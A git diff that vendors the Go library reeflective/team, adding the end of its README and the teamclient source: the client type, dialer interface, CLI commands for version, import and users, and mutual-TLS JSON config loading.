+ the `reeflective/team` clients and servers can (should, and will) be used both in memory and
+ remotely (here remotely means as a distinct subprocess: actual network location is irrelevant).
+- The purpose of the `reeflective/team` library is **not** to emulate dynamic code execution behavior.
+ Rather, its intent is to make programs that should or might be better used as servers to several
+ clients to act as such easily and securely in many different scenarios.
+- The **Hashicorp plugins are by essence restrained to an API problem**, and while the `team` library
+ is equally (but not mandatorily or exclusively) about interactive usage of arbitrary programs.
+- **The Hashicorp plugin relies mandatorily (since it's built on) a gRPC transport backend**. While
+ gRPC is a very sensible choice for many reasons (and is therefore used for the default example
+ backend in `example/transports/`), the `team` library does not force library users to use a given
+ transport/RPC backend, nor even to use one. Again, this would be beyond the library scope, but
+ what is in scope is the capacity of this library to interface with or use different transports.
+- Finally, the Hashicorp plugins are not aware of any concept of users as they are considered by
+ the team library, although both use certificate-based connections. However, `team` promotes and
+ makes easy to use mutually authenticated (Mutual TLS) connections (see the default gRPC example
+ backend). Related to this, teamservers integrate loggers and a database to store working data.
+
+-----
+## Status
+
+The Command-Line and Application-Programming Interfaces of this library are unlikely to change
+much in the future, and should be considered mostly stable. These might grow a little bit, but
+will not shrink, as they been already designed to be as minimal as they could be.
+
+In particular, `client.Options` and `server.Options` APIs might grow, so that new features/behaviors
+can be integrated without the need for the teamclients and teamservers types APIs to change.
+
+The section **Possible Enhancements** below includes 9 points, which should grossly be equal
+to 9 minor releases (`0.1.0`, `0.2.0`, `0.3.0`, etc...), ending up in `v1.0.0`.
+
+- Please open a PR or an issue if you face any bug, it will be promptly resolved.
+- New features and/or PRs are welcome if they are likely to be useful to most users.
+
+-----
+## Possible enhancements
+
+The list below is not an indication on the roadmap of this repository, but should be viewed as
+things the author of this library would be very glad to merge contributions for, or get ideas.
+This teamserver library aims to remain small, with a precise behavior and role.
+Overall, contributions and ideas should revolve around strenghening its core/transport code
+or around enhancing its interoperability with as much Go code/programs as possible.
+
+- [ ] Use viper for configs.
+- [ ] Use afero filesystem.
+- [ ] Add support for encrypted sqlite by default.
+- [ ] Encrypt in-memory channels, or add option for it.
+- [ ] Simpler/different listener/dialer backend interfaces, if it appears needed.
+- [ ] Abstract away the client-side authentication, for pluggable auth/credential models.
+- [ ] Replace logrus entirely and restructure behind a single package used by both client/server.
+- [ ] Review/refine/strenghen the dialer/listener init/close/start process, if it appears needed.
+- [ ] `teamclient update` downloads latest version of the server binary + method to `team.Client` for it.
+
diff --git a/vendor/github.com/reeflective/team/client/client.go b/vendor/github.com/reeflective/team/client/client.go
new file mode 100644
index 0000000000..44be641d80
--- /dev/null
+++ b/vendor/github.com/reeflective/team/client/client.go
@@ -0,0 +1,300 @@
+package client
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "os/user"
+ "path/filepath"
+ "runtime"
+ "sync"
+
+ "github.com/reeflective/team"
+ "github.com/reeflective/team/internal/assets"
+ "github.com/reeflective/team/internal/version"
+ "github.com/sirupsen/logrus"
+)
+
+// Client is the core driver of an application teamclient.
+// It provides the core tools needed by any application/program
+// to be the client of an local/remote/in-memory teamserver.
+//
+// This client object is by default not connected to any teamserver,
+// and has therefore no way of fulfilling its core duties, on purpose.
+// The client also DOES NOT include any teamserver-side code.
+//
+// This teamclient core job is to:
+// - Fetch, configure and use teamserver endpoint configurations.
+// - Drive the process of connecting to & disconnecting from a server.
+// - Query a teamserver for its version and users information.
+//
+// Additionally, this client offers:
+// - Pre-configured loggers for all client-side related events.
+// - Various options to configure its backends and behaviors.
+// - A builtin, abstracted and app-specific filesystem (in memory or on disk).
+//
+// Various combinations of teamclient/teamserver usage are possible.
+// Please see the Go module example/ directory for a list of them.
+type Client struct {
+ name string // Name of the teamclient/teamserver application.
+ homeDir string // APP_ROOT_DIR var, evaluated once when creating the server.
+ opts *opts // All configurable things for the teamclient.
+ fileLogger *logrus.Logger // By default, hooked to also provide stdout logging.
+ stdoutLogger *logrus.Logger // Fallback logger.
+ fs *assets.FS // Embedded or on-disk application filesystem.
+ mutex *sync.RWMutex // Sync access.
+ initOpts sync.Once // Some options can only be set once when creating the server.
+
+ dialer Dialer // Connection backend for the teamclient.
+ connect *sync.Once // A client can only connect once per run.
+
+ // Client is the implementation of the core teamclient functionality,
+ // which is to query a server version and its current users.
+ // This type is either implementated by a teamserver when the client
+ // is in-memory, or by a user-defined type which is generally a RPC.
+ client team.Client
+}
+
+// Dialer represents a type using a teamclient core (and its configured teamserver
+// remote) to setup, initiate and use a connection to this remote teamserver.
+//
+// The type parameter `clientConn` of this interface is a purely syntactic sugar
+// to indicate that any dialer should/may return a user-defined but specific object
+// from its Dial() method. Library users can register hooks to the teamclient.Client
+// using this dialer, and this clientConn will be provided to these hooks.
+//
+// Examples of what this clientConn can be:
+// - The clientConn is a specific, but non-idiomatic RPC client (ex: a *grpc.ClientConn).
+// - A simple net.Conn over which anything can be done further.
+// - Nothing: a dialer might not need to use or even create a client connection.
+type Dialer interface {
+ // Init is used by any dialer to query the teamclient driving it about:
+ // - The remote teamserver address and transport credentials
+ // - The user registered in this remote teamserver configuration.
+ // - To make use of client-side loggers, filesystem and other utilities.
+ Init(c *Client) error
+
+ // Dial should connect to the endpoint available in any
+ // of the client remote teamserver configurations.
+ Dial() error
+
+ // Close should close the connection or any related component.
+ Close() error
+}
+
+// New is the required constructor of a new application teamclient.
+// Parameters:
+// - The name of the application using the teamclient.
+// - Variadic options (...Options) which are applied at creation time.
+// - A type implementing the team.Client interface.
+//
+// Depending on constraints and use cases, the client uses different
+// backends and/or RPC implementations providing this functionality:
+// - When used in-memory and as a client of teamserver.
+// - When being provided a specific dialer/client/RPC backend.
+//
+// The teamclient will only perform a few init things before being returned:
+// - Setup its filesystem, either on-disk (default behavior) or in-memory.
+// - Initialize loggers and the files they use, if any.
+//
+// This may return an error if the teamclient is unable to work with the provided
+// options (or lack thereof), which may happen if the teamclient cannot use and write
+// to its directories and log files. No client is returned if the error is not nil.
+func New(app string, client team.Client, options ...Options) (*Client, error) {
+ teamclient := &Client{
+ name: app,
+ opts: defaultOpts(),
+ client: client,
+ connect: &sync.Once{},
+ mutex: &sync.RWMutex{},
+ fs: &assets.FS{},
+ }
+
+ teamclient.apply(options...)
+
+ // Filesystem (in-memory or on disk)
+ user, _ := user.Current()
+ root := filepath.Join(user.HomeDir, "."+teamclient.name)
+ teamclient.fs = assets.NewFileSystem(root, teamclient.opts.inMemory)
+
+ // Logging (if allowed)
+ if err := teamclient.initLogging(); err != nil {
+ return nil, err
+ }
+
+ return teamclient, nil
+}
+
+// Connect uses the default client configurations to connect to the teamserver.
+//
+// This call might be blocking and expect user input: if multiple server
+// configurations are found in the application directory, the application
+// will prompt the user to choose one of them.
+// If the teamclient was created WithConfig() option, or if passed in this
+// call, user input is guaranteed NOT to be needed.
+//
+// It only connects the teamclient if it has an available dialer.
+// If none is available, this function returns no error, as it is
+// possible that this client has a teamclient implementation ready.
+func (tc *Client) Connect(options ...Options) (err error) {
+ tc.apply(options...)
+
+ // Don't connect if we don't have the connector.
+ if tc.dialer == nil {
+ return nil
+ }
+
+ tc.connect.Do(func() {
+ // If we don't have a provided configuration,
+ // load one from disk, otherwise do nothing.
+ err = tc.initConfig()
+ if err != nil {
+ err = tc.errorf("%w: %w", ErrConfig, err)
+ return
+ }
+
+ // Initialize the dialer with our client.
+ err = tc.dialer.Init(tc)
+ if err != nil {
+ err = tc.errorf("%w: %w", ErrConfig, err)
+ return
+ }
+
+ err = tc.dialer.Dial()
+ if err != nil {
+ err = tc.errorf("%w: %w", ErrClient, err)
+ return
+ }
+ })
+
+ return err
+}
+
+// Disconnect disconnects the client from the server, closing the connection
+// and the client log file. Any errors are logged to this file and returned.
+// If the teamclient has been passed the WithNoDisconnect() option, it won't
+// disconnect.
+func (tc *Client) Disconnect() error {
+ if tc.opts.console {
+ return nil
+ }
+
+ // The client can reconnect..
+ defer func() {
+ tc.connect = &sync.Once{}
+ }()
+
+ if tc.dialer == nil {
+ return nil
+ }
+
+ err := tc.dialer.Close()
+ if err != nil {
+ tc.log().Error(err)
+ }
+
+ return err
+}
+
+// Users returns a list of all users registered to the application server.
+// If the teamclient has no backend, it returns an ErrNoTeamclient error.
+// If the backend returns an error, the latter is returned as is.
+func (tc *Client) Users() (users []team.User, err error) {
+ if tc.client == nil {
+ return nil, ErrNoTeamclient
+ }
+
+ res, err := tc.client.Users()
+ if err != nil && len(res) == 0 {
+ return nil, err
+ }
+
+ return res, nil
+}
+
+// VersionClient returns the version information of the client, and thus
+// does not require the teamclient to be connected to a teamserver.
+// This function satisfies the VersionClient() function of the team.Client interface,
+// which means that library users are free to reimplement it however they wish.
+func (tc *Client) VersionClient() (ver team.Version, err error) {
+ if tc.client != nil {
+ return tc.client.VersionClient()
+ }
+
+ semVer := version.Semantic()
+ compiled, _ := version.Compiled()
+
+ var major, minor, patch int32
+
+ if len(semVer) == 3 {
+ major = int32(semVer[0])
+ minor = int32(semVer[1])
+ patch = int32(semVer[2])
+ }
+
+ return team.Version{
+ Major: major,
+ Minor: minor,
+ Patch: patch,
+ Commit: version.GitCommit(),
+ Dirty: version.GitDirty(),
+ CompiledAt: compiled.Unix(),
+ OS: runtime.GOOS,
+ Arch: runtime.GOARCH,
+ }, nil
+}
+
+// VersionServer returns the version information of the server to which
+// the client is connected.
+// If the teamclient has no backend, it returns an ErrNoTeamclient error.
+// If the backend returns an error, the latter is returned as is.
+func (tc *Client) VersionServer() (ver team.Version, err error) {
+ if tc.client == nil {
+ return ver, ErrNoTeamclient
+ }
+
+ version, err := tc.client.VersionServer()
+ if err != nil {
+ return
+ }
+
+ return version, nil
+}
+
+// Name returns the name of the client application.
+func (tc *Client) Name() string {
+ return tc.name
+}
+
+// Filesystem returns an abstract filesystem used by the teamclient.
+// This filesystem can be either of two things:
+// - By default, the on-disk filesystem, without any specific bounds.
+// - If the teamclient was created with the InMemory() option, a full
+// in-memory filesystem (with root `.app/`).
+//
+// Use cases for this filesystem might include:
+// - The wish to have a fully abstracted filesystem to work for testing
+// - Ensuring that the filesystem code in your application remains the
+// same regardless of the underlying, actual filesystem.
+//
+// The type returned is currently an internal type because it wraps some
+// os.Filesystem methods for working more transparently: this may change
+// in the future if the Go stdlib offers write support to its new io/fs.FS.
+func (tc *Client) Filesystem() *assets.FS {
+ return tc.fs
+}
diff --git a/vendor/github.com/reeflective/team/client/commands/commands.go b/vendor/github.com/reeflective/team/client/commands/commands.go
new file mode 100644
index 0000000000..21923a225f
--- /dev/null
+++ b/vendor/github.com/reeflective/team/client/commands/commands.go
@@ -0,0 +1,271 @@
+package commands
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "io/fs"
+ "os"
+ "path/filepath"
+ "strings"
+
+ "github.com/rsteube/carapace"
+ "github.com/rsteube/carapace/pkg/style"
+ "github.com/spf13/cobra"
+ "github.com/spf13/pflag"
+
+ "github.com/reeflective/team/client"
+ "github.com/reeflective/team/internal/command"
+)
+
+// Generate returns a command tree to embed in client applications connecting
+// to a teamserver. It requires only the client to use its functions.
+//
+// All commands of the tree include an automatic call to client.Connect() to make
+// sure they can reach the server for the stuff they need. Thus no pre-runners are
+// bound to them for this purpose, and users of this command tree are free to add any.
+//
+// This tree is only safe to embed within closed-loop applications provided that the
+// client *Client was created with WithNoDisconnect(), so that commands can reuse
+// their connections more than once before closing.
+func Generate(cli *client.Client) *cobra.Command {
+ clientCmds := clientCommands(cli)
+ return clientCmds
+}
+
+// PreRun returns a cobra command runner which connects the client to its teamserver.
+// If the client is connected, nothing happens and its current connection reused.
+//
+// Feel free to use this function as a model for your own teamclient pre-runners.
+func PreRun(teamclient *client.Client, opts ...client.Options) command.CobraRunnerE {
+ return func(cmd *cobra.Command, args []string) error {
+ teamclient.SetLogWriter(cmd.OutOrStdout(), cmd.ErrOrStderr())
+
+ // Ensure we are connected or do it.
+ return teamclient.Connect(opts...)
+ }
+}
+
+// PreRunNoDisconnect is a pre-runner that will connect the teamclient with the
+// client.WithNoDisconnect() option, so that after each execution, the client
+// connection is kept open. This pre-runner is thus useful for console apps.
+//
+// Feel free to use this function as a model for your own teamclient pre-runners.
+func PreRunNoDisconnect(teamclient *client.Client, opts ...client.Options) command.CobraRunnerE {
+ return func(cmd *cobra.Command, args []string) error {
+ teamclient.SetLogWriter(cmd.OutOrStdout(), cmd.ErrOrStderr())
+
+ opts = append(opts, client.WithNoDisconnect())
+
+ // The NoDisconnect will prevent teamclient.Disconnect() to close the conn.
+ return teamclient.Connect(opts...)
+ }
+}
+
+// PostRun is a cobra command runner that simply calls client.Disconnect() to close
+// the client connection from its teamserver. If the client/commands was configured
+// with WithNoDisconnect, this pre-runner will do nothing.
+func PostRun(client *client.Client) command.CobraRunnerE {
+ return func(cmd *cobra.Command, _ []string) error {
+ return client.Disconnect()
+ }
+}
+
+func clientCommands(cli *client.Client) *cobra.Command {
+ teamCmd := &cobra.Command{
+ Use: "teamclient",
+ Short: "Client-only teamserver commands (import configs, show users, etc)",
+ SilenceUsage: true,
+ }
+
+ teamFlags := pflag.NewFlagSet("teamserver", pflag.ContinueOnError)
+ teamFlags.CountP("verbosity", "v", "Counter flag (-vvv) to increase log verbosity on stdout (1:panic -> 7:debug)")
+ teamCmd.PersistentFlags().AddFlagSet(teamFlags)
+
+ versionCmd := &cobra.Command{
+ Use: "version",
+ Short: "Print teamserver client version",
+ RunE: versionCmd(cli),
+ }
+
+ teamCmd.AddCommand(versionCmd)
+
+ importCmd := &cobra.Command{
+ Use: "import",
+ Short: fmt.Sprintf("Import a teamserver client configuration file for %s", cli.Name()),
+ Run: importCmd(cli),
+ ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
+ return []string{}, cobra.ShellCompDirectiveDefault
+ },
+ }
+
+ iFlags := pflag.NewFlagSet("import", pflag.ContinueOnError)
+ iFlags.BoolP("default", "d", false, "Set this config as the default one, if no default config exists already.")
+ importCmd.Flags().AddFlagSet(iFlags)
+
+ iComps := carapace.Gen(importCmd)
+ iComps.PositionalCompletion(
+ carapace.Batch(
+ carapace.ActionCallback(ConfigsCompleter(cli, "teamclient/configs", ".teamclient.cfg", "other teamserver apps", true)),
+ carapace.ActionFiles().Tag("server configuration").StyleF(getConfigStyle(".teamclient.cfg")),
+ ).ToA(),
+ )
+
+ teamCmd.AddCommand(importCmd)
+
+ usersCmd := &cobra.Command{
+ Use: "users",
+ Short: "Display a table of teamserver users and their status",
+ RunE: usersCmd(cli),
+ }
+
+ teamCmd.AddCommand(usersCmd)
+
+ return teamCmd
+}
+
+// ConfigsAppCompleter completes file paths to the current application configs.
+func ConfigsAppCompleter(cli *client.Client, tag string) carapace.Action {
+ return carapace.ActionCallback(func(ctx carapace.Context) carapace.Action {
+ var compErrors []carapace.Action
+
+ configPath := cli.ConfigsDir()
+
+ files, err := os.ReadDir(configPath)
+ if err != nil {
+ compErrors = append(compErrors, carapace.ActionMessage("failed to list user directories: %s", err))
+ }
+
+ var results []string
+
+ for _, file := range files {
+ if !strings.HasSuffix(file.Name(), command.ClientConfigExt) {
+ continue
+ }
+
+ filePath := filepath.Join(configPath, file.Name())
+
+ cfg, err := cli.ReadConfig(filePath)
+ if err != nil || cfg == nil {
+ continue
+ }
+
+ results = append(results, filePath)
+ results = append(results, fmt.Sprintf("[%s] %s:%d", cfg.User, cfg.Host, cfg.Port))
+ }
+
+ configsAction := carapace.ActionValuesDescribed(results...).StyleF(getConfigStyle(command.ClientConfigExt))
+
+ return carapace.Batch(append(
+ compErrors,
+ configsAction.Tag(tag),
+ carapace.ActionFiles())...,
+ ).ToA()
+ })
+}
+
+// ConfigsCompleter completes file paths to other teamserver application configs (clients/users CA, etc)
+// The filepath is the directory between .app/ and the target directory where config files of a certain
+// type should be found, ext is the normal/default extension for those target files, and tag is used in comps.
+func ConfigsCompleter(cli *client.Client, filePath, ext, tag string, noSelf bool) carapace.CompletionCallback {
+ return func(ctx carapace.Context) carapace.Action {
+ var compErrors []carapace.Action
+
+ homeDir, err := os.UserHomeDir()
+ if err != nil {
+ compErrors = append(compErrors, carapace.ActionMessage("failed to get user home dir: %s", err))
+ }
+
+ dirs, err := os.ReadDir(homeDir)
+ if err != nil {
+ compErrors = append(compErrors, carapace.ActionMessage("failed to list user directories: %s", err))
+ }
+
+ var results []string
+
+ for _, dir := range dirs {
+ if !isConfigDir(cli, dir, noSelf) {
+ continue
+ }
+
+ configPath := filepath.Join(homeDir, dir.Name(), filePath)
+
+ if configs, err := os.Stat(configPath); err == nil {
+ if !configs.IsDir() {
+ continue
+ }
+
+ files, _ := os.ReadDir(configPath)
+ for _, file := range files {
+ if !strings.HasSuffix(file.Name(), ext) {
+ continue
+ }
+
+ filePath := filepath.Join(configPath, file.Name())
+
+ cfg, err := cli.ReadConfig(filePath)
+ if err != nil || cfg == nil {
+ continue
+ }
+
+ results = append(results, filePath)
+ results = append(results, fmt.Sprintf("[%s] %s:%d", cfg.User, cfg.Host, cfg.Port))
+ }
+ }
+ }
+
+ configsAction := carapace.ActionValuesDescribed(results...).StyleF(getConfigStyle(ext))
+
+ if len(compErrors) > 0 {
+ return carapace.Batch(append(compErrors, configsAction)...).ToA()
+ }
+
+ return configsAction.Tag(tag)
+ }
+}
+
+func isConfigDir(cli *client.Client, dir fs.DirEntry, noSelf bool) bool {
+ if !strings.HasPrefix(dir.Name(), ".") {
+ return false
+ }
+
+ if !dir.IsDir() {
+ return false
+ }
+
+ if strings.TrimPrefix(dir.Name(), ".") != cli.Name() {
+ return false
+ }
+
+ if noSelf {
+ return false
+ }
+
+ return true
+}
+
+func getConfigStyle(ext string) func(s string, sc style.Context) string {
+ return func(s string, sc style.Context) string {
+ if strings.HasSuffix(s, ext) {
+ return style.Red
+ }
+
+ return s
+ }
+}
diff --git a/vendor/github.com/reeflective/team/client/commands/import.go b/vendor/github.com/reeflective/team/client/commands/import.go
new file mode 100644
index 0000000000..ff470c2db5
--- /dev/null
+++ b/vendor/github.com/reeflective/team/client/commands/import.go
@@ -0,0 +1,61 @@
+package commands
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "encoding/json"
+ "fmt"
+
+ "github.com/sirupsen/logrus"
+ "github.com/spf13/cobra"
+
+ "github.com/reeflective/team/client"
+ "github.com/reeflective/team/internal/command"
+)
+
+func importCmd(cli *client.Client) func(cmd *cobra.Command, args []string) {
+ return func(cmd *cobra.Command, args []string) {
+ if cmd.Flags().Changed("verbosity") {
+ logLevel, err := cmd.Flags().GetCount("verbosity")
+ if err == nil {
+ cli.SetLogLevel(logLevel + int(logrus.ErrorLevel))
+ }
+ }
+
+ if 0 < len(args) {
+ for _, arg := range args {
+ conf, err := cli.ReadConfig(arg)
+ if jsonErr, ok := err.(*json.SyntaxError); ok {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", jsonErr.Error())
+ } else if err != nil {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", err.Error())
+ continue
+ }
+
+ if err = cli.SaveConfig(conf); err == nil {
+ fmt.Fprintln(cmd.OutOrStdout(), command.Info+"Saved new client config in ", cli.ConfigsDir())
+ } else {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", err.Error())
+ }
+ }
+ } else {
+ fmt.Fprintln(cmd.OutOrStdout(), "Missing config file path, see --help")
+ }
+ }
+}
diff --git a/vendor/github.com/reeflective/team/client/commands/users.go b/vendor/github.com/reeflective/team/client/commands/users.go
new file mode 100644
index 0000000000..3b7f1ca05d
--- /dev/null
+++ b/vendor/github.com/reeflective/team/client/commands/users.go
@@ -0,0 +1,90 @@
+package commands
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "time"
+
+ "github.com/jedib0t/go-pretty/v6/table"
+ "github.com/sirupsen/logrus"
+ "github.com/spf13/cobra"
+
+ "github.com/reeflective/team/client"
+ "github.com/reeflective/team/internal/command"
+)
+
+func usersCmd(cli *client.Client) func(cmd *cobra.Command, args []string) error {
+ return func(cmd *cobra.Command, args []string) error {
+ if cmd.Flags().Changed("verbosity") {
+ logLevel, err := cmd.Flags().GetCount("verbosity")
+ if err == nil {
+ cli.SetLogLevel(logLevel + int(logrus.ErrorLevel))
+ }
+ }
+
+ if err := cli.Connect(); err != nil {
+ return err
+ }
+
+ // Server
+ users, err := cli.Users()
+ if err != nil {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Server error: %s\n", err)
+ }
+
+ tbl := &table.Table{}
+ tbl.SetStyle(command.TableStyle)
+
+ tbl.AppendHeader(table.Row{
+ "Name",
+ "Status",
+ "Last seen",
+ })
+
+ for _, user := range users {
+ lastSeen := user.LastSeen.Format(time.RFC1123)
+
+ if !user.LastSeen.IsZero() {
+ lastSeen = time.Since(user.LastSeen).Round(1 * time.Second).String()
+ }
+
+ var status string
+ if user.Online {
+ status = command.Bold + command.Green + "Online" + command.Normal
+ } else {
+ status = command.Bold + command.Red + "Offline" + command.Normal
+ }
+
+ tbl.AppendRow(table.Row{
+ user.Name,
+ status,
+ lastSeen,
+ })
+ }
+
+ if len(users) > 0 {
+ fmt.Fprintln(cmd.OutOrStdout(), tbl.Render())
+ } else {
+ fmt.Fprintf(cmd.OutOrStdout(), command.Info+"The %s teamserver has no users\n", cli.Name())
+ }
+
+ return nil
+ }
+}
diff --git a/vendor/github.com/reeflective/team/client/commands/version.go b/vendor/github.com/reeflective/team/client/commands/version.go
new file mode 100644
index 0000000000..2920bca8a4
--- /dev/null
+++ b/vendor/github.com/reeflective/team/client/commands/version.go
@@ -0,0 +1,77 @@
+package commands
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "time"
+
+ "github.com/sirupsen/logrus"
+ "github.com/spf13/cobra"
+
+ "github.com/reeflective/team/client"
+ "github.com/reeflective/team/internal/command"
+)
+
+func versionCmd(cli *client.Client) func(cmd *cobra.Command, args []string) error {
+ return func(cmd *cobra.Command, args []string) error {
+ if cmd.Flags().Changed("verbosity") {
+ logLevel, err := cmd.Flags().GetCount("verbosity")
+ if err == nil {
+ cli.SetLogLevel(logLevel + int(logrus.ErrorLevel))
+ }
+ }
+
+ if err := cli.Connect(); err != nil {
+ return err
+ }
+
+ // Server
+ serverVer, err := cli.VersionServer()
+ if err != nil {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Server error: %s\n", err)
+ }
+
+ serverVerInfo := fmt.Sprintf("Server v%d.%d.%d - %s - %s/%s\n",
+ serverVer.Major, serverVer.Minor, serverVer.Patch, serverVer.Commit,
+ serverVer.OS, serverVer.Arch)
+ serverCompiledAt := time.Unix(serverVer.CompiledAt, 0)
+
+ fmt.Fprint(cmd.OutOrStdout(), command.Info+serverVerInfo)
+ fmt.Fprintf(cmd.OutOrStdout(), " Compiled at %s\n", serverCompiledAt)
+ fmt.Fprintln(cmd.OutOrStdout())
+
+ // Client
+ clientVer, err := cli.VersionClient()
+ if err != nil {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Client error: %s\n", err)
+ return nil
+ }
+
+ clientVerInfo := fmt.Sprintf("Client v%d.%d.%d - %s - %s/%s\n",
+ clientVer.Major, clientVer.Minor, clientVer.Patch, clientVer.Commit,
+ clientVer.OS, clientVer.Arch)
+ clientCompiledAt := time.Unix(clientVer.CompiledAt, 0)
+
+ fmt.Fprint(cmd.OutOrStdout(), command.Info+clientVerInfo)
+ fmt.Fprintf(cmd.OutOrStdout(), " Compiled at %s\n", clientCompiledAt)
+
+ return nil
+ }
+}
diff --git a/vendor/github.com/reeflective/team/client/config.go b/vendor/github.com/reeflective/team/client/config.go
new file mode 100644
index 0000000000..daec0c59d5
--- /dev/null
+++ b/vendor/github.com/reeflective/team/client/config.go
@@ -0,0 +1,261 @@
+package client
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "crypto/sha256"
+ "crypto/tls"
+ "crypto/x509"
+ "encoding/json"
+ "fmt"
+ "io"
+ "os"
+ "path/filepath"
+ "sort"
+
+ "github.com/AlecAivazis/survey/v2"
+
+ "github.com/reeflective/team/internal/assets"
+ "github.com/reeflective/team/internal/certs"
+ "github.com/reeflective/team/internal/command"
+)
+
+const (
+ fileWriteModePerm = 0o600
+)
+
+// Config is a JSON client connection configuration.
+// It contains the addresses of a team server, the name of the user
+// allowed to connect to it, and cryptographic material to secure and
+// authenticate the client-server connection (using Mutual TLS).
+type Config struct {
+ User string `json:"user"` // This value is actually ignored for the most part (cert CN is used instead)
+ Host string `json:"host"`
+ Port int `json:"port"`
+ Token string `json:"token"`
+ CACertificate string `json:"ca_certificate"`
+ PrivateKey string `json:"private_key"`
+ Certificate string `json:"certificate"`
+}
+
+func (tc *Client) initConfig() (err error) {
+ cfg := tc.opts.config
+
+ // We assume that any configuration passed with WithConfig()
+ // has a non-empty user name, even if its the server itself.
+ if cfg.User != "" {
+ return nil
+ }
+
+ // Else fetch the unique config or prompt user for which.
+ if tc.dialer != nil {
+ configs := tc.GetConfigs()
+ if len(configs) == 0 {
+ err = fmt.Errorf("no configs found in %s", tc.ConfigsDir())
+ } else {
+ cfg = tc.SelectConfig()
+ }
+ }
+
+ // We must have a config.
+ if cfg == nil {
+ if err != nil {
+ return fmt.Errorf("%w: %w", ErrNoConfig, err)
+ }
+
+ return ErrNoConfig
+ }
+
+ tc.opts.config = cfg
+
+ return nil
+}
+
+// GetConfigs returns a list of available configs in the application
+// teamclient remote server configs directory (~/.app/teamclient/configs/).
+//
+// This uses the on-disk filesystem even if the teamclient is in memory mode.
+func (tc *Client) GetConfigs() map[string]*Config {
+ configDir := tc.ConfigsDir()
+
+ configFiles, err := os.ReadDir(configDir)
+ if err != nil {
+ tc.log().Errorf("No configs found: %s", err)
+ return map[string]*Config{}
+ }
+
+ confs := map[string]*Config{}
+
+ for _, confFile := range configFiles {
+ confFilePath := filepath.Join(configDir, confFile.Name())
+
+ conf, err := tc.ReadConfig(confFilePath)
+ if err != nil {
+ continue
+ }
+
+ digest := sha256.Sum256([]byte(conf.Certificate))
+ confs[fmt.Sprintf("%s@%s (%x)", conf.User, conf.Host, digest[:8])] = conf
+ }
+
+ return confs
+}
+
+// ReadConfig loads a client config into a struct.
+// Errors are returned as is: users can check directly for JSON/encoding/filesystem errors.
+//
+// This uses the on-disk filesystem even if the teamclient is in memory mode.
+func (tc *Client) ReadConfig(confFilePath string) (*Config, error) {
+ confFile, err := os.Open(confFilePath)
+ if err != nil {
+ return nil, fmt.Errorf("open failed: %w", err)
+ }
+ defer confFile.Close()
+
+ data, err := io.ReadAll(confFile)
+ if err != nil {
+ return nil, fmt.Errorf("read failed: %w", err)
+ }
+
+ conf := &Config{}
+
+ err = json.Unmarshal(data, conf)
+ if err != nil {
+ return nil, fmt.Errorf("parse failed: %w", err)
+ }
+
+ return conf, nil
+}
+
